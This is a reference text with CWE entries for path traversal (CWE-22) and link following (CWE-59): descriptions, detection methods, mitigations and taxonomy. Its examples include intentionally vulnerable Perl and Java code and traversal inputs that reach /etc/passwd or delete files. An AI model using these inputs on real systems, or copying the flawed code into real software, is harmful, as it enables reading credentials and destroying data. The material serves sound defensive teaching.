The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

+ Terminology Notes

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity

Technical Impact: Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality

Technical Impact: Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability

Technical Impact: DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(Bad Code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(Attack)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(Result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(Result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(Bad Code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(Bad Code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(Attack)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(Result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(Result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(Bad Code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(Attack)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(Good Code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(Bad Code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

+ Observed Examples
ReferenceDescription
Newsletter module allows reading arbitrary files using "../" sequences.
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C

  • getCanonicalPath() in Java

  • GetFullPath() in ASP.NET

  • realpath() or abs_path() in Perl

  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.22.3] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Research Concepts1000
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base23Relative Path Traversal
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base36Absolute Path Traversal
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class20Improper Input Validation
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class172Encoding Error
Research Concepts1000
+ Relationship Notes

Pathname equivalence can be regarded as a type of canonicalization error.

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

+ Research Gaps

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

+ Affected Resources
  • File/Directory
+ Relevant Properties
  • Equivalence
+ Functional Areas
  • File processing
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
WASC33Path Traversal
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP16Path Traversal
+ References
[R.22.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft. 2002.
[R.22.2] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.22.3] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[R.22.4] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>.
[R.22.5] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.22.6] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Observed_Examples
2013-07-17CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITREInternal
updated Demonstrative_Examples
Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-59: Improper Link Resolution Before File Access ('Link Following')

Weakness ID: 59
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
+ Alternate Terms
insecure temporary file:

Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

Operating Systems

Windows: (Sometimes)

UNIX: (Often)

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Access Control

Technical Impact: Read files or directories; Modify files or directories; Bypass protection mechanism

An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

Technical Impact: Other

Remote Execution: Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since an ".LNK" file can be uploaded like a normal file.

+ Likelihood of Exploit

Low to Medium

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Observed Examples
ReferenceDescription
Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.
Symlink attack allows local users to overwrite files.
Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.
Second-order symlink vulnerabilities
Second-order symlink vulnerabilities
Symlink in Python program
Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
Signal causes a dump that follows symlinks.
Hard link attack, file overwrite; interesting because program checks against soft links
Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
Hard link race condition
Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.
Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.
".LNK." - .LNK with trailing dot
Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.
Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

+ Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory748CERT C Secure Coding Section 50 - POSIX (POS)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory8082010 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory980SFP Secondary Cluster: Link in Resource Name Resolution
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfCategoryCategory60UNIX Path Link Problems
Development Concepts (primary)699
ParentOfCompound Element: CompositeCompound Element: Composite61UNIX Symbolic Link (Symlink) Following
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant62UNIX Hard Link
Research Concepts (primary)1000
ParentOfCategoryCategory63Windows Path Link Problems
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant64Windows Shortcut Following (.LNK)
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant65Windows Hard Link
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base363Race Condition Enabling Link Following
Research Concepts1000
+ Relationship Notes

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.

Some potential factors are race conditions, permissions, and predictability.

+ Research Gaps

UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

+ Affected Resources
  • File/Directory
+ Functional Areas
  • File processing, temporary files
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLink Following
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT C Secure CodingPOS01-CCheck for the existence of links when dealing with files
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP18Link in resource name resolution
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Symbolic Link Attacks", Page 518.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-10-29CWE Content TeamMITREInternal
updated Background_Details, Other_Notes
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
